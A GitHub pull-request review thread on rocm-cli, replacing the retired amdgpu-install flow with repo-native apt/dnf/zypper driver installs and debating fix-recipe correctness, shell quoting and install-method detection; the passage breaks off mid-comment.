[juhovainio]

Summary

Addresses part of the work tracked in #180 (see Scope below for what's left there). amdgpu-install is being retired: legacy amdgpu-install/ packages on repo.radeon.com are frozen and won't move to the new amdrocm-* multi-arch/multi-version scheme, so any rocm-cli flow depending on it breaks on ROCm 10.0. This does a hard removal (no deprecation period) per the issue.

• Converts dnf_driver_plan() and sles_driver_plan() (apps/rocm/src/driver_install.rs) to the same repo-native flow apt_driver_plan() already uses: import the AMD GPG key, write a package-manager repo file pointing at repo.radeon.com/amdgpu/<version>/..., then install amdgpu-dkms directly — instead of downloading and running the amdgpu-install RPM. SLES commands run under zypper --non-interactive.
• The default driver source moves from a pinned 7.2.4 to the floating alias latest, resolved into the repo URL at plan time (repo.radeon.com/amdgpu/latest/...). The old ROCM_CLI_AMDGPU_VERSION / ROCM_CLI_AMDGPU_PACKAGE_RELEASE overrides are removed; a new ROCM_CLI_AMDGPU_DRIVER_VERSION takes an amdgpu driver release (e.g. 30.10), not a ROCm version.
• Adds a ubuntu_native_archive guidance arm for Ubuntu 26.04, where the amdgpu kernel driver ships in-tree with the kernel and only the userspace stack needs apt install rocm.
• Sanitises os-release codename/id-like fields read from the host before interpolating them into shell commands, falling back to a static codename_for_version table on anything outside the allow-list.
• examine.rs: renames the install-method marker set and reported value from "amdgpu-install" to "repo-native". This also fixes a pre-existing mislabeling bug — rocm-cli's own apt-based install dropped the same marker files and was being misreported as amdgpu-install. Also adds SLES zypp repo paths (previously undetected), renames the undetectable runfile/tarball fallback bucket to "runfile-or-tarball", and serializes the parsed ID_LIKE field as distro_id_like in examine --json.
• diagnose.rs/fix.rs: drops the dead amdgpu-install upstream-tracker arm, repoints stale-repo/kernel-mismatch fix guidance at rocm install driver --dkms, and reworks the fix-12 broken-installer check to detect "repo-native" and produce a package-manager-agnostic reset+reinstall fix (fix-12-installer id kept stable). fix-7's stale-repo-file recipe is reworked to build its command list per detected package family instead of a single hardcoded apt list, and fix-12's quarantine step now only lists the repo files examine actually saw on this host (falling back to a commented generic example when none were seen).
• openmpi.rs: widens PackageManager and its as_str() from private to pub(crate) so driver_install.rs's repo-family detection can reuse the same package-manager enum instead of re-deriving it.
• New e2e scenario (examine-29) covering the renamed install-method values.

No changes needed in apps/rocm/src/therock.rs (already had no amdgpu-install references, matching the issue's note).

Scope

This PR does not cover all of #180's acceptance criteria, so #180 should stay open for the remaining work:

• Repo-native install still targets repo.radeon.com/amdgpu/..., not repo.amd.com's amdrocm-* scheme.
• No "requesting the removed path returns a clear message" behavior.
• Verification against ROCm 10.0 has not been done (no 10.0 build available in this environment).

Breaking change

rocm examine --json renames two rocm_install_method values: "amdgpu-install" becomes "repo-native", and "tarball-or-other" becomes "runfile-or-tarball". Nothing in-tree consumes these strings and there's no deprecation window; any external tooling matching the old values needs updating. There's no CHANGELOG in this repo, so this note is the durable record.

The default driver source also moves from pinned 7.2.4 to the floating latest alias (see Open questions below).

Open questions

• Pinned vs. floating driver default: the plan a user approves names latest rather than a concrete version, unlike the sibling ROCDXG flow which resolves its alias to a concrete build at plan time. Flagging this rather than unilaterally picking pinned-vs-resolve-at-plan-time — feedback welcome on which to restore.
• fix-12's applicability check: it still fires on dpkg/rpm keyword hits for any "apt"/"dnf"-reported host, which also matches distro-packaged ROCm (e.g. the new Ubuntu 26.04 native-archive arm) — that part is still a judgment call on what "applies" should mean here, not a mechanical patch. Its verify step, however, no longer just checks for the repo marker file: it now queries the targeted amdgpu-dkms package's actual dpkg/rpm status, confirms DKMS reports the module built, and checks rocminfo's own exit code.
• RHEL/SLES repo path layout (dnf_repo_version_path): built against the rhel/<ver> / el/<ver> convention; I could not verify this against a live repo.radeon.com/amdgpu/<ver>/ listing in this environment.

Test plan

• grep -rn "amdgpu-install|amdgpu_install|AMDGPU_INSTALL" apps/rocm/src returns zero matches (crates/rocm-core retains one historical doc-comment mention of a removed arm, not a live reference)
• cargo test -p rocm (incl. driver-plan tests covering RHEL/Oracle/Rocky/SLES fixtures, a valid version-override reaching the URL, a hostile-codename fallback, and gpgcheck=1 presence for dnf/zypper)
• cargo test -p rocm-core
• cargo build --workspace
• cargo fmt --check
• cargo xtask catalog (doctor-catalog.json regenerated)
• cargo xtask e2e (e2e-cucumber suite, incl. the new driver-install-04/driver-install-05 scenarios, which correctly skip on this WSL sandbox): 237 scenarios, 220 passed, 17 failed. Of those, 8 are expected xfail and 9 are pre-existing sandbox/network issues unrelated to this diff (no outbound access to repo.amd.com, plus one GPU-telemetry timeout) — none touch the files this PR changes.

[rominf]

The apps/rocm/src/main.rs half of this is clean — the per-ecosystem conversion is faithful rather than copy-pasted (rpm --import vs curl | gpg --dearmor + signed-by=, autorefresh=0/type=rpm-md only where zypper wants them), dead helpers were removed rather than orphaned, and the tests were strengthened to assert the actual repo-file body and target path. I also confirmed the removal is complete: no stale amdgpu-install references anywhere in apps/, crates/, docs, tests, CI, or completions.

Three things in the diagnose.rs/fix.rs half I'd like resolved first.

1. fix-12 no longer fixes the state it diagnoses

check_12 fires on KEYWORDS_DPKG_BROKEN (half-configured, dkms .*failed, dpkg: error, sub-process /usr/bin/dpkg returned). The old remedy ran amdgpu-install --uninstall + apt autoremove --purge, which actually removed the broken package.

The new remedy (crates/rocm-core/src/diagnose.rs:1063-1085, mirrored in crates/rocm-core/src/fix.rs:290-295) only moves repo files aside, refreshes metadata, and runs rocm install driver. Moving a repo definition file doesn't touch a package recorded half-configured in dpkg's status DB, or a failed DKMS build under /var/lib/dkms/amdgpu/ — so the apt-get install amdgpu-dkms inside rocm install driver hits the same interrupted-dpkg error. The recipe's own summary says it will "clear the half-configured state", which it no longer does.

Suggest restoring a state-clearing step before the reinstall (sudo dpkg --configure -a or sudo apt-get -f install, plus an explicit purge of the broken driver package), in both the dynamic Fix and the static FixRecipe so they don't drift.

2. Destructive sudo mv is emitted ready-to-run, against the file's own precedent

diagnose.rs:1074-1078 pushes format!("sudo mv {r} {r}.bak") uncommented, for every entry in rocm_repos_seen. But the sibling checker in the same file, check_7_stale_repos (diagnose.rs:747-751), deliberately emits the identical command commented out with a guard — # sudo mv {r} {r}.bak # quarantine, do not delete yet — and this PR's own static twin at fix.rs:291 also comments it out.

That guard matters because rocm_repos_seen isn't provenance-checked: examine.rs:947-966 scans the apt/yum/zypp repo dirs and adds any filename containing rocm, amdgpu, or radeon. A distro-shipped, mirror, or hand-added repo file gets swept in and the user is handed a ready-to-paste command to disable it.

Suggest commenting these out exactly as check_7 and fix.rs do, or restricting the loop to the markers rocm-cli actually writes.

3. The new provenance wording isn't accurate

examine.rs:47-48 now reads "Repo files dropped by rocm-cli's repo-native package-manager install flow". rocm-cli writes only three of the seven — /etc/apt/sources.list.d/amdgpu.list (main.rs:2812), /etc/yum.repos.d/amdgpu.repo (main.rs:2908), /etc/zypp/repos.d/amdgpu.repo (main.rs:3002). The other four (rocm.list, radeon.list, and the two rocm.repos) are legacy/manual-doc names rocm-cli never creates; the previous comment was accurate for them. The claim propagates into user-visible text at diagnose.rs:1063 and fix.rs:288, which is partly what makes (2) read as safe.

Suggest wording it as what the constant actually models — AMD repo files written either by rocm-cli's install or by the documented manual/legacy setup, whose presence marks a package-manager-repo-managed ROCm.

---

Non-blocking

• fix-3 is now self-contradictory. This PR updated diagnose.rs:505 to "rerun rocm install driver --dkms" but the static twin at fix.rs:109 still says "rerun with --no-dkms" — a flag that doesn't exist anywhere in the CLI.
• The refresh chain hides the diagnostic it needs to show. diagnose.rs:1079-1082 / fix.rs:293: sudo apt update 2>/dev/null || sudo dnf clean all 2>/dev/null || sudo zypper refresh 2>/dev/null. On a Debian host with broken repo state — exactly when this fires — apt update fails with stderr discarded, then falls through to two commands that don't exist, also silenced. This also undercuts the recipe's own note ("if the package-manager update/refresh warns it will remove unrelated packages, stop"), since the warning was just sent to /dev/null. distro/distro_id is available and the mv step above is already personalized per-host, so branching to one correct command with visible output would be safer and more consistent.
• The verify string no longer verifies. diagnose.rs:1093 / fix.rs:299 greps rocm examine --json for rocm_install_method|rocm_version — both fields are always present, so the grep succeeds whether or not the fix worked. Only the trailing rocminfo | head -n 5 carries signal.
• "apt"/"dnf" are now near-unreachable. In examine.rs:921-941 the marker loop runs first and unconditionally sets "repo-native"; the dpkg/rpm probes only run if is_empty(). Any repo-installed ROCm has a marker, so those two values only surface when the repo file was deleted but the package remains. Pre-existing ordering, but the rename makes it more visible — worth deciding whether they still earn their place.
• Test gap. probe_rocm_install has no unit tests, and there's no coverage for check_12/fix-12. The renamed sentinel values and the new SLES zypp marker paths ship untested, while the main.rs side has 19 solid driver-plan tests. A table-driven test over the marker → method mapping would be proportionate.

Worth a conscious call

The rocm examine --json value rename (amdgpu-install → repo-native, tarball-or-other → runfile-or-tarball) is a silent breaking change to a machine-readable interface. Nothing in-tree consumes it, but there's no schema or deprecation window, so any external tooling string-matching the old values breaks. Probably worth a line in the PR body or release notes.

CI

E2E tests (Strix Halo, Ubuntu) looks unrelated to this change. The job reports 0 unexpected failure(s) — all 7 failing scenarios are declared xfail, and the non-zero exit comes solely from 3 XPASS entries (chat/serve scenarios that were expected to fail on that host but passed). None of them touches driver install, the examine install-method field, diagnose, or fix; the two examine/diagnose scenarios in that suite both pass. The same job failed the same way on #177 with a superset of the same XPASSes, on a diff that also doesn't touch driver install, and it's green on this PR's merge base. Looks like host-state-dependent expectation drift — a re-run should clear it, and pruning the stale expectations.toml entries belongs in its own PR.

E2E tests (GPU) was still running when I looked; worth confirming it lands green.

Verified locally on the branch: cargo fmt --check clean, cargo clippy --workspace --all-targets clean, cargo test -p rocm 388 passed.

[juhovainio]

Thanks for the thorough review — addressed all three blocking points plus the non-blocking ones that were straightforward, in 0c10f5d.

1. fix-12 doesn't fix the diagnosed state: restored the state-clearing step before quarantine+reinstall — dpkg --configure -a && apt-get install -f && apt-get purge -y amdgpu-dkms on apt hosts, dnf remove -y amdgpu-dkms / zypper remove -y amdgpu-dkms on the others — in both check_12 (host-specific, picks one family) and the static fix-12-installer (lists all three, comment-labeled, since the static catalog has no host to branch on).
2. Destructive sudo mv emitted uncommented: now commented out (# sudo mv {r} {r}.bak # quarantine, do not delete yet), matching check_7's precedent exactly.
3. Inaccurate provenance wording: REPO_NATIVE_INSTALL_MARKERS's doc comment now says only amdgpu.list/amdgpu.repo are written by rocm-cli's own install; the rest are legacy/manual-setup names it never creates.

Non-blocking, also fixed:

• fix-3's stale --no-dkms → --dkms (the real flag).
• The silent apt||dnf||zypper refresh chain is now a single command, picked from the host's detected package-manager family (via rocm_repos_seen, falling back to distro_id) — visible output instead of /dev/null.
• verify now greps for the actual "repo-native" value instead of field names that are always present.
• Added unit tests: repo_pkg_family, check_12/fix-12's command shape (asserts the state-clearing step and the commented-out mv), and a table-driven test over the marker → install-method mapping (split probe_rocm_install's marker logic into a pure repo_native_method_from_markers fn so it's testable without touching the filesystem).

Left as-is (per your own framing as non-blocking / worth-a-conscious-call, not requiring a code change):

• "apt"/"dnf" near-unreachability — pre-existing ordering, agree it's worth a future look but out of scope here.
• The install-method value rename (amdgpu-install → repo-native, tarball-or-other → runfile-or-tarball) is a breaking change to rocm examine --json's machine-readable output; noting it here for the record since nothing in-tree consumes it and there's no deprecation window.

cargo fmt --check, cargo clippy --workspace --all-targets, and cargo test -p rocm-core all clean locally (two pre-existing proc_lifecycle test failures are unrelated to this change and reproduce identically on the pre-review commit — looks like a sandbox signal-handling limitation, not something this PR touched).

[rominf]

Re-reviewed 231c5f78..7518b1ba. All three blocking items are genuinely fixed — I went looking for superficial fixes and didn't find any:

• fix-12 state clearing — diagnose.rs:1090-1101 now emits dpkg --configure -a / apt-get install -f / purge (or the dnf/zypper equivalent) before quarantine and reinstall, and the static twin at fix.rs:293-296 lists all three labeled blocks. The new repo_native_broken_fires_and_clears_state_before_reinstall test pins the ordering.
• sudo mv — now the commented # sudo mv {r} {r}.bak # quarantine, do not delete yet form, byte-identical to the check_7 precedent rather than an approximation of it.
• Provenance wording — examine.rs:44-49 names all seven markers and gets the 3-written / 4-legacy split right. I checked it against the actual write sites (main.rs:2812, :2908, :3002) and there are no others.

The non-blocking items from last round are also handled: the --no-dkms twin contradiction, the 2>/dev/null silencing (the "stop if the refresh warns" note is reachable now), and the verify grep. On that last one — grep -q '"rocm_install_method": "repo-native"' was the easiest thing to get subtly wrong, so I verified the colon-space form actually matches: main.rs:1832 uses to_string_pretty, and Examination has no rename_all or skip_serializing_if, so that literal spacing is what's emitted.

Extracting repo_native_method_from_markers as a pure function to make the marker logic testable without touching the filesystem was the right call, and the reverse-the-input-order test is a nice touch.

One thing that needs doing before merge

DCO. The merge commit 7518b1ba is signed but has an empty Signed-off-by trailer, which is why Commit signatures + sign-off is red — both of your real commits (231c5f78, 0c10f5d5) are fine. Rebasing onto fresh main instead of merging fixes it and avoids recreating the problem.

windows-build-and-test is unrelated: only lifecycle-windows-http-install failed, on a loopback-HTTP error occurred while sending the request, with 98/99 steps passing. Same signature as the request-fragmentation flake addressed in #139, and green on main. Worth a re-run so the PR isn't sitting red. E2E tests (GPU) landed green, as did the other four E2E lanes.

On repo_pkg_family

The doc comment at diagnose.rs:1049 says the repo-dir family is known "with certainty" and treats distro_id as the weaker signal. Preferring the repo dir for the primary path is defensible — it's direct evidence of which package manager's repo config these commands act on, whereas distro_id reaches the same answer via a lookup table. But the certainty claim doesn't hold, and the ordering introduces a failure mode distro_id wouldn't have:

rocm_repos_seen isn't curated. examine.rs:974-990 reads all three repo dirs and pushes any filename containing rocm/amdgpu/radeon. A leftover /etc/yum.repos.d/rocm.repo on a Debian host — image layer, or someone once installed yum — makes repo_pkg_family return "dnf" and hands the user sudo dnf remove -y amdgpu-dkms on Ubuntu. The apt → dnf → zypper order also silently picks apt when two families are present rather than noticing the contradiction.

The more actionable half is the fallback, though — the one branch where distro_id is the only signal is the least careful code in the function. diagnose.rs:1066-1070 is a hardcoded list with _ => "apt" and no ID_LIKE; ID_LIKE isn't merely unconsulted, it's never parsed (examine.rs:425-426 captures only ID and VERSION_ID). Meanwhile openmpi.rs:917 in this same crate already has a tested resolve_package_manager(os_id, id_like) that handles derivatives, amzn included. So an Amazon Linux host with no ROCm repo file is told to run apt-get purge.

Suggestions, in order of value:

1. Reuse resolve_package_manager for the fallback, and parse ID_LIKE into Examination so it can. That branch is wrong today.
2. Reword the comment — the repo dir tells you a file exists under that dir, not that the dir's package manager manages ROCm. Something like "prefer the family implied by the repo dir the marker files live under, since that's the config these commands act on" says the same thing without the certainty claim.
3. Optionally treat a repo-dir/distro_id disagreement as worth surfacing rather than silently resolving.

Bounded blast radius either way: fix-12 is auto_applicable: false with runner: None, so these are printed for a human to paste, not executed.

Smaller things

• The "run only the matching block" guard covers only the first triplet. fix.rs:293 puts it above the removal commands, but the three refresh commands at fix.rs:298-300 are equally mutually exclusive and sit past an intervening comment line with no repeated guard.
• One new test is near-vacuous. repo_native_broken_does_not_fire_on_non_repo_native_installs_without_symptom (diagnose.rs:1774) uses an empty symptom, which already forces kw_score = 0, so the score is 0 regardless of install method — the method gate the name describes is never exercised. Passing the same dpkg: error processing package amdgpu-dkms symptom as the positive test with a non-repo-native method would actually probe it. Worth doing because score += kw_score is unconditional and only the +20 bonus is method-gated, so the check can still fire — that behaviour is worth pinning down.
• The static fix-12 recipe still has no test. It was half of what the first finding asked for, and fix.rs's test module only covers catalog shape. A shape assertion mirroring the diagnose.rs one would stop someone re-enabling a live mv or dropping dpkg --configure -a.
• --json rename. Recorded in your comment, but the PR description is the durable record and doesn't mention it yet — there's no CHANGELOG in the repo, so that's the only place it'll survive.

Pre-existing, not yours, but adjacent: fix-3's verify is rocminfo | head -n 20 in diagnose.rs:510 vs head -n 5 in fix.rs:119.

Verified locally on 7518b1ba: cargo fmt --check clean, cargo clippy --workspace --all-targets clean (sources touched first, since post--- args aren't fingerprinted), cargo test -p rocm 388 passed.

Feedback addressed

[juhovainio]

Follow-up commit (28fe71e) on this branch: apt_driver_plan(), dnf_driver_plan(), and sles_driver_plan() all generated a repo baseurl under repo.radeon.com/graphics/{rocm_version}/. Checked against AMD's current package-manager install docs and the live directory tree: that path only carries the userspace graphics/mesa/llvm stack and never ships amdgpu-dkms. The kernel driver package lives in a separately-versioned tree, repo.radeon.com/amdgpu/{driver_version}/ (e.g. 31.40.1), which has no relation to the ROCm version this code was interpolating (repo.radeon.com/amdgpu/7.2.4/ 404s). As written, the generated dnf install amdgpu-dkms / zypper install amdgpu-dkms / apt equivalent would have failed to resolve the package on all three distro families.

Fix: repointed all three driver plans at /amdgpu/{driver_version}/, and swapped the version placeholder from ROCM_CLI_AMDGPU_VERSION (a ROCm version) to ROCM_CLI_AMDGPU_DRIVER_VERSION, defaulting to AMD's published latest alias so no ROCm-version-to-driver-version mapping table is needed.

Re: the amdrocm-* / repo.amd.com direction referenced in this issue — cross-checked against TheRock's RFC0012 (Repo Structure), the approved spec behind that naming. It explicitly reserves amdgpu/ under each stream subdomain "for future use; future GPU driver artifacts" and defers the actual repo.radeon.com → repo.amd.com driver consolidation to an unpublished companion RFC (RFC00XX-Repository-Package.md). So repo.amd.com is the right long-term target for ROCm software packages, but the driver isn't served there yet — today's fix (repo.radeon.com/amdgpu/) is correct in the interim. Tracking the eventual migration internally so it isn't lost once that RFC ships.

[Copilot]

Pull request overview

Removes amdgpu-install as a supported/recognized ROCm installation method and standardizes Linux driver installation around “repo-native” package-manager flows, updating examine/diagnose/fix behavior accordingly.

Changes:

• Switches Linux driver install planning away from amdgpu-install RPM/bootstrap and toward writing repo definitions + installing amdgpu-dkms directly (APT/DNF/Zypper).
• Updates rocm examine install-method detection/markers and reported values (including SLES/zypp markers and an internal ID_LIKE capture for package-family fallback).
• Updates rocm diagnose + rocm fix guidance/recipes to remove amdgpu-install references and keep the fix-12-installer ID stable under the new method naming.

Reviewed changes

Copilot reviewed 5 out of 5 changed files in this pull request and generated 1 comment.

Show a summary per file

File	Description
apps/rocm/src/main.rs	Reworks driver install plan generation to repo-native repo-file creation and direct amdgpu-dkms installs; updates related tests/strings.
crates/rocm-core/src/examine.rs	Renames/expands marker detection to “repo-native”, adds zypp paths, and updates fallback install-method labeling.
crates/rocm-core/src/diagnose.rs	Removes the amdgpu-install tracker arm and rewires fix-12-installer diagnosis logic to the repo-native method with package-family-aware commands.
crates/rocm-core/src/fix.rs	Updates the static fix-12-installer recipe and related verification text to match repo-native guidance.
crates/rocm-core/src/openmpi.rs	Exposes package-manager resolution helpers for reuse by diagnosis logic.

Suppressed comments (2)

apps/rocm/src/main.rs:3002

• The repo baseurl line is single-quoted, which prevents ${ROCM_CLI_AMDGPU_DRIVER_VERSION:-latest} from expanding. This would create a zypp repo file whose baseurl literally contains ${...}, which zypper cannot use.

                    "printf '%s\\n' '[amdgpu]' 'name=amdgpu' 'baseurl={}' 'enabled=1' 'autorefresh=0' 'type=rpm-md' 'gpgcheck=1' 'gpgkey=https://repo.radeon.com/rocm/rocm.gpg.key' | sudo tee /etc/zypp/repos.d/amdgpu.repo >/dev/null",

apps/rocm/src/main.rs:2908

• The repo baseurl line is single-quoted, which prevents ${ROCM_CLI_AMDGPU_DRIVER_VERSION:-latest} from expanding. This would create a .repo file whose baseurl literally contains ${...}, which dnf cannot resolve.

                "printf '%s\\n' '[amdgpu]' 'name=amdgpu' 'baseurl={}' 'enabled=1' 'priority=50' 'gpgcheck=1' 'gpgkey=https://repo.radeon.com/rocm/rocm.gpg.key' | sudo tee /etc/yum.repos.d/amdgpu.repo >/dev/null",

---

💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.

[Copilot]

Pull request overview

Copilot reviewed 5 out of 5 changed files in this pull request and generated 1 comment.

Suppressed comments (7)

apps/rocm/src/main.rs:2812

• The repository entry is single-quoted, so the shell never expands ${ROCM_CLI_AMDGPU_DRIVER_VERSION:-latest}. The file receives that literal text and apt-get update cannot resolve the intended repository URL. Double-quote the generated entry so the override/default is expanded when the command runs.

                    "printf '%s\\n' 'deb [arch=amd64 signed-by=/etc/apt/keyrings/rocm.gpg] https://repo.radeon.com/amdgpu/{repo_version_expr}/ubuntu {codename} main' | sudo tee /etc/apt/sources.list.d/amdgpu.list >/dev/null"

apps/rocm/src/main.rs:3002

• The single-quoted baseurl prevents ${ROCM_CLI_AMDGPU_DRIVER_VERSION:-latest} from expanding, leaving an unusable literal URL in the zypp repo file. Use double quotes for this argument.

                    "printf '%s\\n' '[amdgpu]' 'name=amdgpu' 'baseurl={}' 'enabled=1' 'autorefresh=0' 'type=rpm-md' 'gpgcheck=1' 'gpgkey=https://repo.radeon.com/rocm/rocm.gpg.key' | sudo tee /etc/zypp/repos.d/amdgpu.repo >/dev/null",

crates/rocm-core/src/fix.rs:306

• rocminfo | head returns the status of head, so this verification may succeed even if rocminfo is absent or fails to access the GPU. Check rocminfo directly instead of masking its status through a pipeline.

        verify: "rocm examine --json | grep -q '\"rocm_install_method\": \"repo-native\"' && rocminfo | head -n 5",

crates/rocm-core/src/diagnose.rs:1135

• The final pipeline masks rocminfo failures because a successful head determines the pipeline status in the default shell. The verification can therefore return success when rocminfo is missing or cannot initialize a GPU. Run rocminfo directly (output can be redirected) so its exit status is checked.

        verify: "rocm examine --json | grep -q '\"rocm_install_method\": \"repo-native\"' && rocminfo | head -n 5".to_owned(),

crates/rocm-core/src/diagnose.rs:1126

• This command does not reinstall anything: without --dkms, build_driver_install_plan creates no commands, and without --yes, install_driver returns the plan without executing it (apps/rocm/src/main.rs:2199-2203, 2777-2833). Show the review command and the explicitly approved execution command instead.

This issue also appears on line 1135 of the same file.

    commands.push("rocm install driver".to_owned());

crates/rocm-core/src/fix.rs:301

• The advertised reinstall is a no-op because rocm install driver without --dkms generates only a non-mutating preflight plan, and execution additionally requires --yes. The manual recipe should include the actual approved install command.

This issue also appears on line 306 of the same file.

            "rocm install driver",

crates/rocm-core/src/diagnose.rs:1115

• rocm_repos_seen is broader than the repo files written by the driver installer: probe_rocm_install adds every filename containing rocm, amdgpu, or radeon (examine.rs:981-995). This loop therefore tells a normal repo-native user to quarantine rocm.list/rocm.repo too, but rocm install driver only recreates amdgpu.list/amdgpu.repo; ROCm userspace updates remain disabled afterward. Limit this reset to the files the driver flow owns.

        for r in &e.rocm_repos_seen {
            commands.push(format!(
                "# sudo mv {r} {r}.bak     # quarantine, do not delete yet"
            ));

[rominf]

Reviewed at head 28fe71ef. The conversion to a repo-native flow is the right direction and the removal is clean — no dead helpers, no orphaned env vars, no stale references anywhere in the tree. Two blocking issues before merge.

Blocking

1. Single-quoting prevents version expansion — dnf/zypper repo files get an invalid baseurl

apps/rocm/src/main.rs:2905-2911 (dnf) and :2999-3005 (zypper) emit:

printf '%s\n' '[amdgpu]' ... 'baseurl=https://repo.radeon.com/amdgpu/${ROCM_CLI_AMDGPU_DRIVER_VERSION:-latest}/rhel/9.7/main/x86_64' ... | sudo tee /etc/yum.repos.d/amdgpu.repo

The baseurl=... token is a single-quoted shell word. These commands execute through sh -c (crates/rocm-core/src/runtime.rs:165), which does not expand ${VAR:-default} inside single quotes even when the variable is exported. The written file therefore contains a literal ${ROCM_CLI_AMDGPU_DRIVER_VERSION:-latest}, the repo cannot resolve, and the following install -y amdgpu-dkms fails.

This is new for dnf/zypper: the base revision built these URLs with unquoted interpolation (sudo dnf install -y {url}), which expands correctly. The move to printf | tee introduced the quoting. The apt path at :2812 has the same defect, but that one is pre-existing — worth fixing all three together given this PR makes the repo-native flow the supported path.

Suggested fix: resolve the version in Rust (std::env::var("ROCM_CLI_AMDGPU_DRIVER_VERSION"), defaulting to latest) and emit a fully literal URL, rather than relying on shell expansion surviving the quoting.

Note that no current test catches this — the 19 driver-plan tests assert the rendered plan contains the literal ${ROCM_CLI_AMDGPU_DRIVER_VERSION:-latest} string, so they pin the bug rather than the resulting URL. A test that pipes one generated command through sh -c and asserts the resolved baseurl would close the gap.

2. fix-12's remediation step is a no-op

crates/rocm-core/src/diagnose.rs:1126 and crates/rocm-core/src/fix.rs:301 both end with bare rocm install driver. That command reinstalls nothing:

• dkms is a plain #[arg(long)] defaulting to false (main.rs:528)
• the apt/dnf/sles plans only populate commands and set mutating: dkms inside if dkms { ... }
• install_driver() returns early with executed: false when !plan.mutating (main.rs:2188-2205)

A user following fix-12 verbatim gets a plan reporting no execution commands and "DKMS was not requested; this is a non-mutating preflight plan." The codebase gets this right elsewhere — main.rs:2272 and check_3 both say rocm install driver --dkms. Suggest rocm install driver --dkms --yes in both twins.

Non-blocking

• check_12's _ => {} arm. diagnose.rs:1092-1124: repo_pkg_family can return "pacman" via resolve_package_manager, but the state-clearing match has no pacman arm while the refresh match's _ arm still pushes sudo apt update. Low reachability, but an explicit "unsupported package manager" note would beat emitting an apt command on Arch.
• repo_native_broken_does_not_fire_on_non_repo_native_installs_without_symptom (diagnose.rs:1791) is near-vacuous — keyword_score short-circuits on an empty symptom, so the assertion holds regardless of rocm_install_method. The install-method gate the name claims to pin is never exercised.
• Quarantine loop scope. diagnose.rs:1106-1116 iterates all of rocm_repos_seen (any filename matching rocm/amdgpu/radeon), but rocm install driver only recreates amdgpu.list/amdgpu.repo. A user who un-comments the suggested mv for a hand-added rocm.list loses ROCm userspace updates permanently. Mitigated by the lines being emitted commented out; a one-line note distinguishing the file rocm-cli writes from legacy names would close it.
• verify masks exit status. rocminfo | head -n 5 reports head's status. Only ever printed, never executed, so this is recipe quality rather than a functional gate. Related pre-existing drift: fix-3's verify uses head -n 20 in diagnose.rs:510 but head -n 5 in fix.rs:119 — predates this PR, worth a drive-by while the file is open.
• zypper trust path. :3009 runs install -y with gpgcheck=1 relying on the rpm --import at :2997. Since stdin is Stdio::null() this fails fast rather than hanging, but --gpg-auto-import-keys would be more robust.

Design notes

• The apt/dnf/sles triplication now argues for a shared repo-file builder — the quoting bug above landed identically in two of the three call sites, which is direct evidence the duplication is costing correctness. A helper centralizing the quoting decision once would have prevented it. The apt-only pinning file, per-distro kernel-header prepares, and the SLES SUSEConnect prelude should stay distinct.
• Three separate notions of "which package manager does this host use" now coexist (resolve_package_manager, build_driver_install_plan's distro match, and the new repo_pkg_family). This PR partially reconciles two of them, which is the right call; the third still lacks a pacman branch.
• 15 fix-ids have hand-maintained diagnose.rs/fix.rs twins with no cross-file test — the fix-3 drift above is live proof review alone doesn't catch it. A single parity test over the id set and verify strings would be cheap.
• The default moving from pinned 7.2.4 to floating latest is a real reproducibility tradeoff, defensible given it avoids maintaining a ROCm-to-driver version table, but worth stating as a deliberate decision.

Verification

I confirmed the --json rename has no in-tree consumers: a full-tree grep at this head for amdgpu-install, amdgpu_install, tarball-or-other, ROCM_CLI_AMDGPU_VERSION, ROCM_CLI_AMDGPU_PACKAGE_RELEASE, and repo.radeon.com/graphics returns zero hits across docs, scripts, e2e fixtures, .github/, and apps/rocmd.

One thing to check before merge: only the CodeQL checks have reported on 28fe71ef. Since that is the commit that repointed all three URLs, the unit-test, clippy, and E2E lanes should be confirmed green on this SHA specifically.

[juhovainio]

Addressed both blocking points from the latest review (28fe71e), in 20f166b.

1. ${ROCM_CLI_AMDGPU_DRIVER_VERSION:-latest} never expands: these commands are built as printf '%s\n' '...' | sudo tee ... with the repo-file content single-quoted, so the shell never performs ${VAR:-default} parameter expansion — the written repo file got the literal, broken string as its baseurl. Fixed by resolving the version in Rust before interpolation (std::env::var("ROCM_CLI_AMDGPU_DRIVER_VERSION").ok().filter(|v| !v.is_empty()).unwrap_or_else(|| "latest".to_owned())), so the generated command always contains a real value regardless of shell. Updated the ~11 test assertions that had been asserting the raw (broken) shell-expression string.
2. fix-12's reinstall step is a no-op: rocm install driver without --dkms --yes is a non-mutating preflight/dry-run, so the diagnosed state was never actually fixed. Changed both the dynamic check (check_12_repo_native_broken) and the static recipe twin (fix-12-installer in RECIPES) to emit rocm install driver --dkms --yes, and added a regression assertion in each file's test module guarding against the bare form creeping back in.

cargo fmt --check, cargo clippy --workspace --all-targets, cargo test -p rocm (388 passed), and cargo test -p rocm-core (211 passed) all clean locally — same two pre-existing unrelated proc_lifecycle failures as before (sandbox signal-handling limitation, reproduces identically on the pre-review commit).

Feedback addressed @rominf

[Copilot]

Pull request overview

Copilot reviewed 5 out of 5 changed files in this pull request and generated 1 comment.

Suppressed comments (6)

crates/rocm-core/src/diagnose.rs:755

• The stale-repo checker can now receive yum and zypp paths, but this remediation still assumes apt, and bare rocm install driver is explicitly non-mutating. On RHEL/SLES it therefore recommends the wrong refresh command and never reinstalls anything. Emit the detected manager's refresh command and use rocm install driver --dkms --yes for the actual reinstall.

    commands.push("# If apt now resolves, reinstall via the repo-native flow only:".to_owned());
    commands.push("#   rocm install driver".to_owned());

crates/rocm-core/src/diagnose.rs:1064

• rocm_repos_seen contains stale/conflicting files from every scanned repo directory, so an old apt marker makes this return apt even on a RHEL or SLES host. Fix-12 then emits dpkg commands instead of the host's package manager. Prefer the distro resolver, using a repo path only when the distro is unknown and the observed paths identify one unambiguous family.

    if e.rocm_repos_seen.iter().any(|r| r.contains("/etc/apt/")) {
        return "apt";
    }
    if e.rocm_repos_seen
        .iter()
        .any(|r| r.contains("/etc/yum.repos.d/"))
    {
        return "dnf";
    }
    if e.rocm_repos_seen.iter().any(|r| r.contains("/etc/zypp/")) {
        return "zypper";

crates/rocm-core/src/diagnose.rs:1084

• The renamed check still scores only dpkg/apt symptoms. Common DNF or zypper failures such as transaction or dependency errors score zero even when the install method is repo-native, so the new RHEL/SLES recovery paths are never surfaced. Select package-manager-specific keyword evidence or add RPM/zypper patterns and regression tests.

    let (kw_score, kw_ev) = keyword_score(symptom, KEYWORDS_DPKG_BROKEN);
    score += kw_score;
    evidence.extend(kw_ev);
    if method == "repo-native" && kw_score > 0 {
        score += 20;

crates/rocm-core/src/fix.rs:109

